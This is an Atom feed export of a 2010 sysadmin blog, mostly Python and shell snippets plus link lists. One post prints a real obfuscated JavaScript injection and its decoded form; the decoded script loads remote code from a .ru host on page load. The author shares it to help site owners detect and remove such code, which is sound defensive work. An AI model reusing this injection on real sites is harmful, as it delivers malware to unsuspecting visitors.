&lt;p&gt;
Enjoy&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-467317644122499373?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/467317644122499373/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=467317644122499373' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/467317644122499373'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/467317644122499373'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/05/papers-from-web-20-security-and-privacy.html' title='Papers from Web 2.0 Security and Privacy 2010'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-6941687529128211401</id><published>2010-05-21T21:24:00.004+08:00</published><updated>2010-05-21T23:01:23.974+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Malware Attack, Reply Comment</title><content type='html'>I refer to the recent comment from my previous &lt;a href="http://chihungchan.blogspot.com/2008/08/malware-attack.html"&gt;malware attack&lt;/a&gt; posted 1.5 years ago. Basically the obscure script carried out a lot of substitutions to avoid any firewall filter. 
&lt;p&gt;
Below is a sample my friend sent me 3 months ago.
&lt;pre&gt;
/*GNU GPL*/ try{window.onload = function(){var Qq73s8yh02ptue2rq = document.createElement('s&amp;amp;(^c@#r$^i(@)p&amp;amp;@t($&amp;amp;'.replace(/#|\!|\(|&amp;amp;|@|\$|\

^|\)/ig, ''));Qq73s8yh02ptue2rq.setAttribute('type',
'text/javascript');Qq73s8yh02ptue2rq.setAttribute('src',
'h!!t(#(t#)^p(^!(:&amp;amp;$/$$$/$@)&amp;amp;h!^c&amp;amp;3$6^))#^0&amp;amp;-@!&amp;amp;c!o$()m&amp;amp;^&amp;amp;.))g(l^((o)b&amp;amp;$
#e&amp;amp;!)@7#^.!(c)##)o@)m#^.(@$k#(&amp;amp;)i^n$)#o^^@(-#)&amp;amp;$t@@^o)!.!@$^v)&amp;amp;i!@)e^#w&amp;amp;
h$&amp;amp;o&amp;amp;&amp;amp;m)((e#s)$!a@$l^^e).$(r)^&amp;amp;u(:(((!8&amp;amp;^@0!!8)))0^/#!)f#@r!i&amp;amp;&amp;amp;!)e$n&amp;amp;d&amp;amp;f
!$e&amp;amp;#e)$d)^.!c(^o)()^m^/@$f#(^!r#^@&amp;amp;@i(^e&amp;amp;n@(&amp;amp;(d$!f&amp;amp;!#e#!e@@$#@d).^!c#^^
^o^@!!m)($/$b!l#u^^$^e&amp;amp;$@@#h@^o))&amp;amp;!s#@$$t&amp;amp;#.@@@c)^(&amp;amp;o@m()^/$(^v^^$#e#o$#
h)(&amp;amp;.^$@c)(o^$)$m&amp;amp;/#g(!^o^^o!(^g@!&amp;amp;l!^#!^e&amp;amp;.&amp;amp;@c)!o)@&amp;amp;m!/(#!^^'.replace(/
\$|\(|@|\!|\)|#|\^|&amp;amp;/ig, ''));Qq73s8yh02ptue2rq.setAttribute('defer',
'defer');Qq73s8yh02ptue2rq.setAttribute('id',
'U&amp;amp;!^(y&amp;amp;$2(#3^9#^b)$$x^#k#^@9##)5(&amp;amp;t#@'.replace(/&amp;amp;|\!|\)|\^|\(|\$|@|#/ig
, ''));document.body.appendChild(Qq73s8yh02ptue2rq);}} catch(e) {} 
&lt;/pre&gt;
&lt;p&gt;
After ran through the browser JavaScript interpreter, you will get the below. It will dynamically create a &amp;lt;script&amp;gt; element which will be load up automatically.
&lt;pre&gt;
/*GNU GPL*/ try{window.onload = function(){
 var Qq73s8yh02ptue2rq = document.createElement('script'));
 Qq73s8yh02ptue2rq.setAttribute('type','text/javascript');
 Qq73s8yh02ptue2rq.setAttribute('src','http://hc360-com.globe7.com.kino-to.viewhomesale.ru:8080/friendfeed.com/friendfeed.com/bluehost.com/veoh.com/google.com/'));
 Qq73s8yh02ptue2rq.setAttribute('defer','defer');
 Qq73s8yh02ptue2rq.setAttribute('id','Uy239bxk95t');
 document.body.appendChild(doc);}
} catch(e) {} 
&lt;/pre&gt;
&lt;p&gt;
If your html/js appear to have any window.onload which does not belong to your own stuff, you can apply the same trick by running 'sed' to clean it up.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-6941687529128211401?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/6941687529128211401/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=6941687529128211401' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6941687529128211401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6941687529128211401'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/05/malware-attack-reply-comment.html' title='Malware Attack, Reply Comment'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-7463789706477082666</id><published>2010-05-06T23:24:00.003+08:00</published><updated>2010-05-06T23:26:33.311+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Wanna Learn Python ?</title><content type='html'>Found these python class videos. Sure it will start to tickle your interest in learning python. Enjoy !
&lt;p&gt;
Google Python Class Day 1 
&lt;ol&gt;
&lt;li&gt;&lt;a href="http://www.youtube.com/watch?v=tKTZoB2Vjuk"&gt;Introduction and Strings&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.youtube.com/watch?v=EPYupizJYQI"&gt;Lists, Sorting, and Tuples&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.youtube.com/watch?v=haycL41dAhg"&gt;Dicts and Files&lt;/a&gt;
&lt;/ol&gt;
&lt;p&gt;
Google Python Class Day 2
&lt;ol&gt;
&lt;li&gt;&lt;a href="http://www.youtube.com/watch?v=kWyoYtvJpe4"&gt;Regular Expressions&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.youtube.com/watch?v=uKZ8GBKmeDM"&gt;Utilities: OS and Commands&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.youtube.com/watch?v=Nn2KQmVF5Og"&gt;Utilities: URLs and HTTP, Exceptions&lt;/a&gt;
&lt;li&gt;&lt;a href="http://www.youtube.com/watch?v=IcteAbMC1Ok"&gt;Closing Thoughts&lt;/a&gt;
&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-7463789706477082666?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/7463789706477082666/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=7463789706477082666' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7463789706477082666'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7463789706477082666'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/05/wanna-learn-python.html' title='Wanna Learn Python ?'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-1236996948864638116</id><published>2010-05-05T21:15:00.003+08:00</published><updated>2010-05-05T21:19:51.787+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Google Code University</title><content type='html'>Stumbled upon the &lt;a href="http://code.google.com/edu/"&gt;Google Code University&lt;/a&gt; web site. Topics include
&lt;ul&gt;
&lt;li&gt;AJAX Programming
&lt;li&gt;Algorithms
&lt;li&gt;Android Programming
&lt;li&gt;Distributed Systems
&lt;li&gt;Web Security
&lt;li&gt;Languages - Python, C++, Go, Java (with videos)
&lt;li&gt;Tools 101&lt;ul&gt;
 &lt;li&gt;Introduction to Databases and MySQL
 &lt;li&gt;Software Configuration Management
 &lt;li&gt;Linux&lt;ul&gt;
  &lt;li&gt;Basic Linux Commands
  &lt;li&gt;Linux Ownership and Permissions
  &lt;li&gt;ext Processing with Grep
 &lt;/ul&gt;&lt;/ul&gt;
&lt;li&gt;CS Resources&lt;ul&gt;
 &lt;li&gt;Discrete Mathematics
 &lt;li&gt;Introductory Programming
 &lt;li&gt;Data Structures and Algorithms
 &lt;li&gt;Operating Systems, Concurrency
 &lt;li&gt;Distributed Systems
 &lt;li&gt;Automata and Formal Languages
 &lt;li&gt;Web Security
 &lt;li&gt;Computer Graphics
&lt;/ul&gt;&lt;/ul&gt;


&lt;p&gt;
This one is also very interesting, &lt;a href="http://jarlsberg.appspot.com/"&gt;Web Application Exploits and Defenses&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-1236996948864638116?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/1236996948864638116/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=1236996948864638116' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1236996948864638116'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1236996948864638116'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/05/google-code-university.html' title='Google Code University'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-7396392231503906450</id><published>2010-05-04T22:38:00.003+08:00</published><updated>2010-05-04T23:16:43.652+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='csv'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Splitting CSV</title><content type='html'>Today my colleague was asking me whether I can assist to split a csv file with millions of lines into individual csv files based on the user name appeared in column 2. 
&lt;p&gt;
My initial solution was a two-pass approach using shell script and AWK. First pass to find out all the unique names and second pass to extract the records that matches the unique name. That means I have to parse the original csv files many times and that make the solution very inefficient. I do encounter this type of request every now and then, therefore I decided to come up with a better solution in just 1 parse. 
&lt;p&gt;
I used &lt;a href="http://www.python.org/"&gt;Python&lt;/a&gt; &lt;a href="http://docs.python.org/library/csv.html"&gt;CSV module&lt;/a&gt; &lt;a href="http://chihungchan.blogspot.com/2008/07/i-am-native-in.html"&gt;before&lt;/a&gt; and I believe it will be the right tool.
&lt;p&gt;
Here is the python script that will split into separate csv files based on the name in column 2:
&lt;pre&gt;
$ cat a.py
#! /usr/bin/python


import os, sys, csv, re


if len(sys.argv) != 2:
        sys.stderr.write('Usage: %s csv-file\n' % sys.argv[0] )
        sys.exit(1)
csvfile = sys.argv[1]


if not os.path.exists( csvfile ):
        sys.stderr.write( 'Error: "%s" file does not\n' % csvfile )
        sys.exit(2)


#
# keep track of file handler and csv writer
#
name2fp = dict()
name2writer = dict()


for line in csv.reader(open(csvfile, 'rb')):

        #
        # safe name to avoid problem
        #
        safename = line[1].strip()
        safename = re.sub('[ ]', '_', safename)
        safename = re.sub(os.path.sep, ',', safename)
        safename = re.sub('[^a-zA-Z_.,()-]+', '', safename)

        # create file handler and csv writer if not exist
        if not safename in name2fp:
                outfile = "%s.%s" % (safename, csvfile)
                name2fp[safename] = open( outfile, 'wb' )
                name2writer[safename] = csv.writer( name2fp[safename] )

        name2writer[safename].writerow(line)


for safename in name2fp:
        name2fp[safename].close()
&lt;/pre&gt;
&lt;p&gt;
Here is a listing of the corresponding csv files and some command output to verify the task.
&lt;pre&gt;
$ cat a.csv
gdz-u-01,"Chan Chi Hung",20,43
cld-d-01,"Chan Chi Hung",22,41
gdz-u-02,"Chi Hung",53,30
gdz-u-01,"Chan Chi Hung",20,43
cld-p-01,"Chan Chi Hung",21,42
gri-d-01,"Chi Hung",52,31
gdz-u-02,"Chan Chi Hung",23,40
gdz-u-01,"Chan Chi Hung",20,43
cld-p-01,"Chi Hung",51,32
cld-d-01,"Chi Hung",52,31
gdz-u-02,"Chan Chi Hung",23,40
gdz-u-01,"CH Chan/Chi Hung",90,93
cld-p-01,"Chan Chi Hung",21,42
gri-d-01,"CH Chan",92,91
zld-p-09,"Chan Chi Hung",21,42

$ ./a.py a.csv

$ ls
CH_Chan,Chi_Hung.a.csv  Chan_Chi_Hung.a.csv  a.csv
CH_Chan.a.csv           Chi_Hung.a.csv       a.py

$ wc -l *csv
  1 CH_Chan,Chi_Hung.a.csv
  1 CH_Chan.a.csv
  9 Chan_Chi_Hung.a.csv
  4 Chi_Hung.a.csv
 15 a.csv
 30 total
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-7396392231503906450?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/7396392231503906450/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=7396392231503906450' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7396392231503906450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7396392231503906450'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/05/splitting-csv.html' title='Splitting CSV'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-5214079821922371609</id><published>2010-05-03T20:34:00.002+08:00</published><updated>2010-05-03T20:37:36.681+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ZFS'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Solaris Storage in Video</title><content type='html'>&lt;a href="http://blogs.sun.com/storage/en_US/entry/solaris_storage_in_video"&gt;Solaris Storage in Video&lt;/a&gt; covers &lt;a href="http://en.wikipedia.org/wiki/ZFS"&gt;ZFS&lt;/a&gt;, Solaris storage stack and hardware &amp;amp; platform.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-5214079821922371609?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/5214079821922371609/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=5214079821922371609' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/5214079821922371609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/5214079821922371609'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/05/solaris-storage-in-video.html' title='Solaris Storage in Video'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-1609729143443184942</id><published>2010-04-27T23:26:00.003+08:00</published><updated>2010-04-27T23:31:26.632+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>HTTP Redirection, Take 2</title><content type='html'>Further to the &lt;a href="http://chihungchan.blogspot.com/2010/04/http-redirection.html"&gt;comment&lt;/a&gt; posted, here is a revised version for redirection driven by configuration file.
&lt;p&gt;
&lt;pre&gt;
#! /usr/local/bin/python


import sys, os
import BaseHTTPServer


if len(sys.argv) != 2:
    sys.stderr.write("Usage: %s &amp;lgt;config-file&amp;gt;\n" % sys.argv[0])
    sys.exit(1)



#
# config file:
# 1 line 2 fields (port, url)
#
config = sys.argv[1]
if not os.path.exists(config):
    sys.stderr.write("Error. Config file '%s' does not exist" % config)
    sys.exit(2)
else:
    fp = open(config, 'r')
    (port, url) = fp.readline().rstrip().split()



class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    # just redirect regardless of uri
    def do_GET(s):
        s.send_response(302)
        s.send_header('Location', url)
        s.end_headers()

    # ignore output
    def log_message(s, format, *args):
        pass



if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class( ('', int(port)), RedirectHandler)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
&lt;/pre&gt;
&lt;p&gt;
Sample content of a typical file to listen at port 1668 to www.google.com:
&lt;pre&gt;
1668 http://www.google.com/
&lt;/pre&gt;
&lt;p&gt;
Tested on my &lt;a href="http://www.cygwin.com/"&gt;Cygwin&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-1609729143443184942?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/1609729143443184942/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=1609729143443184942' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1609729143443184942'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1609729143443184942'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/04/http-redirection-take-2.html' title='HTTP Redirection, Take 2'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-3573710124791942813</id><published>2010-04-21T22:14:00.005+08:00</published><updated>2010-04-22T16:57:51.000+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>HTTP Redirection</title><content type='html'>If you need a self-contained web server to handle redirection, you can try this simply &lt;a href="http://www.python.org/"&gt;Python&lt;/a&gt; code. It simple extends the base &lt;a href="http://docs.python.org/library/basehttpserver.html"&gt;BaseHTTPServer&lt;/a&gt; class.
&lt;p&gt;
&lt;pre&gt;
#! /usr/bin/python


import sys
import BaseHTTPServer


nerror=0
if len(sys.argv) &amp;gt;= 4:

    try:
        port = int(sys.argv[1])
    except:
        nerror += 1

    args = sys.argv[2:]
    if len(args) % 2 == 0:
        mapping = dict( zip(args[::2], args[1::2]) )
    else:
        nerror += 1
else:
    nerror += 1


if nerror &amp;gt; 0:
    sys.stderr.write(\
        "Usage: %s &amp;lt;port&amp;gt; &amp;lt;uri&amp;gt; &amp;lt;redirect&amp;gt; [&amp;lt;uri&amp;gt; &amp;lt;redirect&amp;gt;]" \
        % \
        sys.argv[0])
    exit(0)



class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(s):
        if s.path in mapping:
            url = mapping[s.path]
            s.send_response(302)
            s.send_header('Location', url)
            s.end_headers()
        else:
            s.send_response(200)
            s.send_header('Content-type', 'text/html')
            s.end_headers()
            s.wfile.write("&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;List of Redirection&amp;lt;/title&amp;gt;")
            s.wfile.write("&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;List of Redirection&amp;lt;/h1&amp;gt;&amp;lt;hr&amp;gt;")
            s.wfile.write("&amp;lt;ul&amp;gt;")
            uris = mapping.keys()
            uris.sort()
            for uri in uris:
                redirect = mapping[uri]
                s.wfile.write("&amp;lt;li&amp;gt;&amp;lt;a href=%s&amp;gt;%s -&amp;gt; %s&amp;lt;/a&amp;gt;" % (redirect,
uri, redirect))
            s.wfile.write("&amp;lt;/ul&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;")


    # ignore output
    def log_message(s, format, *args):
        pass



if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class(('', port), MyHandler)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
&lt;/pre&gt;
&lt;p&gt;
Launch it like this:
&lt;pre&gt;
$ ./redirect.py
Usage: ./redirect.py &amp;lt;port&amp;gt; &amp;lt;uri&amp;gt; &amp;lt;redirect&amp;gt; [&amp;lt;uri&amp;gt; &amp;lt;redirect&amp;gt;]

$ ./redirect.py  8080 \
  / http://chihungchan.blogspot.com/ \
  /g http://www.google.com/ \
  /c http://www.cnn.com/ \
  /s http://www.sg/
&lt;/pre&gt;
&lt;p&gt;
If you forget what are the short url redirection, simply key in bogus URI
&lt;br&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_QxCNUeDt_uQ/S88LC-9owrI/AAAAAAAAAks/5NI8Pt7EA-k/s1600/redirect.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://1.bp.blogspot.com/_QxCNUeDt_uQ/S88LC-9owrI/AAAAAAAAAks/5NI8Pt7EA-k/s320/redirect.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5462597018912866994" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-3573710124791942813?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/3573710124791942813/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=3573710124791942813' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3573710124791942813'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3573710124791942813'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/04/http-redirection.html' title='HTTP Redirection'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_QxCNUeDt_uQ/S88LC-9owrI/AAAAAAAAAks/5NI8Pt7EA-k/s72-c/redirect.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2814332372485327185</id><published>2010-04-20T20:59:00.003+08:00</published><updated>2010-04-20T21:04:47.482+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HPC'/><title type='text'>Intel Guide for Developing Multithreaded Applications</title><content type='html'>Intel Guide for Developing Multithreaded Applications:
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://intelsoftwaredispatch.r.delivery.net/r?2.1.3MB.2n9.1ep7VP.BvkNnw..N.Cy3I.2emE.bW89MQ%5f%5fDMNGFSd0"&gt;Part 1: Application Threading and Synchronization&lt;/a&gt;
&lt;li&gt;&lt;a href="http://intelsoftwaredispatch.r.delivery.net/r?2.1.3MB.2n9.1ep7VP.BvkNnw..N.Cy3C.2emE.bW89MQ%5f%5fDLZKFSX0"&gt;Part 2: Memory Management and Programming Tools&lt;/a&gt;
&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2814332372485327185?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2814332372485327185/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2814332372485327185' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2814332372485327185'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2814332372485327185'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/04/intel-guide-for-developing.html' title='Intel Guide for Developing Multithreaded Applications'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2667948134007839346</id><published>2010-04-14T23:24:00.005+08:00</published><updated>2010-04-14T23:29:57.562+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><title type='text'>How Deep Is The Directory Structure</title><content type='html'>Recently our Netbackup failed due to some very long full-path name, guess what's the max length of the full-path? The length is 1037 character long. Below one-liner can tell you how deep is your directory and the corresponding directory

I am running this in my home directory under Cygwin.
&lt;pre&gt;
$ find /home/user -type d | awk -F"/" '{if(NF&gt;max){max=NF;maxpath=$0}}END{print max-1, maxpath}'
12 /home/user/src/Django-1.1.1/build/lib/django/contrib/gis/db/backend/mysql
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2667948134007839346?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2667948134007839346/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2667948134007839346' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2667948134007839346'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2667948134007839346'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2010/04/how-deep-is-directory-structure.html' title='How Deep Is The Directory Structure'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-8674219936980247031</id><published>2010-04-14T23:02:00.004+08:00</published><updated>2010-04-14T23:19:15.634+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>File Uploading, 100% Python</title><content type='html'>I was trying to &lt;a href="http://chihungchan.blogspot.com/2010/03/file-uploading-perlpython-approach.html"&gt;mix Perl and Python&lt;/a&gt; to achieve file uploading anywhere. After digging into the details of the BaseHTTPServer, I managed to craft out a 100% Python implementation.

Together with my &lt;a href="http://chihungchan.blogspot.com/2009/08/extending-simple-http-server-in-python.html"&gt;downloading server&lt;/a&gt;, I am now able to transfer files with ease in my current 'restricted' environment.


&lt;pre&gt;
#! /usr/bin/python


import BaseHTTPServer
import os, cgi, re, random, platform


class GetHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(self):
        message = '&amp;lt;title&amp;gt;Upload&amp;lt;/title&amp;gt;\
            &amp;lt;form action=/ method=POST ENCTYPE=multipart/form-data&amp;gt;\
            &amp;lt;input type=file name=upfile&amp;gt; &amp;lt;input type=submit value=Upload&amp;gt;\
            &amp;lt;/form&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;'
        self.send_response(200)
        self.end_headers()
        self.wfile.write(message)
        return

    def do_POST(self):
        form = cgi.FieldStorage(fp=self.rfile, headers=self.headers, \
            environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
        upfile = form['upfile']

        # extract basename of input filename, remove non-alphanumeric characters
        if '\\' in upfile.filename:
            filename = upfile.filename.split('\\')[-1]
        else:
            filename = upfile.filename.split('/')[-1]
        filename = re.sub('[ \t]','-', filename)
        filename = re.sub('[^a-zA-Z0-9_.:-]','', filename)

        fp = open(filename, 'wb')
        while True:
            chunk = upfile.file.read(8192)
            if len(chunk) == 0:
                break
            else:
                fp.write(chunk)
        fp.close()
        self.send_response(200)
        self.end_headers()
